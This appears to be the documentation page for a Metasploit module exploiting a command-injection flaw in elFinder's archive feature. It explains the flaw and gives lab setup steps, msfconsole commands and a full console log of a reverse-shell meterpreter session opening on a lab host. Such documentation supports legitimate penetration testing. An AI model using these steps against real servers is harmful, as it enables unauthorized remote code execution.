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## Vulnerable Application
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elFinder versions below 2.1.59 are vulnerable to a command injection
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vulnerability via its archive functionality.
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When creating a new zip archive, the `name` parameter is sanitized
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with the `escapeshellarg()` php function and then passed to the
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`zip` utility. Despite the sanitization, supplying the `-TmTT`
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argument as part of the `name` parameter is still permitted and
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enables the execution of arbitrary commands as the `www-data` user.
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Tested on elFinder versions `2.1.57`, `2.1.58`, and `2.1.59`.
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### Installation Steps
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1. Set up a php server
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2. Download a vulnerable version of the elFinder [software](https://github.com/Studio-42/elFinder/archive/2.1.58.zip)
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3. Rename the minimal connector file: `mv /php/connector.minimal.php-dist /php/connector.minimal.php`
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4. Access the software at `http://<host>/elfinder.html`
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Additional installation methods can be found [here](https://github.com/Studio-42/elFinder#installation).
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## Verification Steps
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1. Install the application
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2. Start msfconsole
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3. Do: `use exploit/linux/http/elfinder_archive_cmd_injection`
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4. Do: `set RHOST <ip>`
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5. Do: `set LHOST <ip>`
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6. Do: `run`
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7. You should get a meterpreter session.
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## Scenarios
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### elFinder `v2.1.58` on Ubuntu 20.04.1
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```
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msf > use exploit/linux/http/elfinder_archive_cmd_injection
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[*] Using configured payload linux/x86/meterpreter/reverse_tcp
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msf exploit(linux/http/elfinder_archive_cmd_injection) > set rhost 192.168.140.128
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rhost => 192.168.140.128
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msf exploit(linux/http/elfinder_archive_cmd_injection) > set lhost 192.168.140.1
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lhost => 192.168.140.1
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msf exploit(linux/http/elfinder_archive_cmd_injection) > run
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[*] Started reverse TCP handler on 192.168.140.1:4444
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[*] Running automatic check ("set AutoCheck false" to disable)
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[+] The target appears to be vulnerable. elFinder running version 2.1.58
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[*] Uploading file LojGHIOkAW.txt to elFinder
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[+] Text file was successfully uploaded!
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[*] Attempting to create archive fMuuXCkA.zip
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[+] Archive was successfully created!
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[*] Using URL: http://0.0.0.0:8080/OR3Kz5kxLZp
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[*] Local IP: http://192.168.1.199:8080/OR3Kz5kxLZp
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[*] Client 192.168.140.128 (Wget/1.20.3 (linux-gnu)) requested /OR3Kz5kxLZp
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[*] Sending payload to 192.168.140.128 (Wget/1.20.3 (linux-gnu))
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[*] Command Stager progress - 62.50% done (75/120 bytes)
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[*] Command Stager progress - 89.17% done (107/120 bytes)
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[*] Sending stage (984904 bytes) to 192.168.140.128
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[+] Deleted LojGHIOkAW.txt
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[+] Deleted fMuuXCkA.zip
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[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.128:39822) at 2021-09-09 16:10:06 -0500
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[*] Command Stager progress - 100.00% done (120/120 bytes)
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[*] Server stopped.
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meterpreter > getuid
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Server username: www-data @ ubuntu (uid=33, gid=33, euid=33, egid=33)
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meterpreter > sysinfo
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Computer : 192.168.140.128
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OS : Ubuntu 20.04 (Linux 5.11.0-27-generic)
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Architecture : x64
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BuildTuple : i486-linux-musl
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Meterpreter : x86/linux
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```
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